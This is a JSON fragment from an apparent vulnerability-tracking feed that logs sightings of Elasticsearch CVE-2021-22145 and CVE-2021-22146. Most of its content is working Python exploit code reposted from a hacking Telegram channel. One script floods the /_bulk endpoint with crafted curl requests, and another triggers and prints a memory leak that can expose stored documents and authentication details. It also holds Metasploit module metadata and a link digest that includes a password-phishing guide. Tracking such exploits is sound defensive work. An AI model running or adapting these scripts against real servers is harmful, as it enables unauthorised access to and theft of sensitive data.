30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:11.125824Z"}, {"uuid": "efc860f7-386e-4be0-b9b7-cf5e2b9249cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:11.177034Z"}, {"uuid": "21b6162b-58c9-4305-b975-dd72e4782b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb", "content": "{\"actions\": [{\"description\": \"Dump memory contents to loot\", \"name\": \"DUMP\"}, {\"description\": \"Check hosts for vulnerability\", \"name\": \"SCAN\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"h00die\", \"Eric Howard\", \"R0NY\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a memory disclosure vulnerability in Elasticsearch\\n          7.10.0 to 7.13.3 (inclusive). A user with the ability to submit arbitrary\\n          queries to Elasticsearch can generate an error message containing previously\\n          used portions of a data buffer.\\n          This buffer could contain sensitive information such as Elasticsearch\\n          documents or authentication details. This vulnerability's output is similar\\n          to heartbleed.\", \"disclosure_date\": \"2021-07-21\", \"fullname\": \"auxiliary/scanner/http/elasticsearch_memory_disclosure\", \"is_install_path\": true, \"mod_time\": \"2026-04-10 16:13:38 +0000\", \"name\": \"Elasticsearch Memory Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/elasticsearch_memory_disclosure\", \"references\": [\"EDB-50149\", \"CVE-2021-22145\", \"URL-https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177\"], \"rport\": 9200, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:31.153404Z"}, {"uuid": "2646edce-22d8-49d2-ab4e-aba41e45e85a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/cissp/3912", "content": "Red Team Tactics\nHow to Phish for User Passwords with PowerShell\ud83d\ude03\nhttps://www.blackhillsinfosec.com/how-to-phish-for-user-passwords-with-powershell\n\nThreat Research\n1. Use-after-free vulnerabilities in Foxit PDF Reader (CVE-2021-21831, CVE-2021-21870, CVE-2021-21893)\nhttps://blog.talosintelligence.com/2021/07/vulnerability-spotlight-use-after-free.html?m=1\n2. Sunhillo SureLine Unauthenticated OS Command Injection (PoC for CVE-2021-36380)\nhttps://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380\n\nexploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\ud83e\udd28\nhttps://github.com/magichk/cve-2021-22146\n\nCloud Security\nBlue Team Techniques\nThe Istio Service Mesh - Security Best Practices\nhttps://istio.io/latest/docs/ops/best-practices/security", "creation_timestamp": "2026-09-11T00:00:08.471374Z"}]}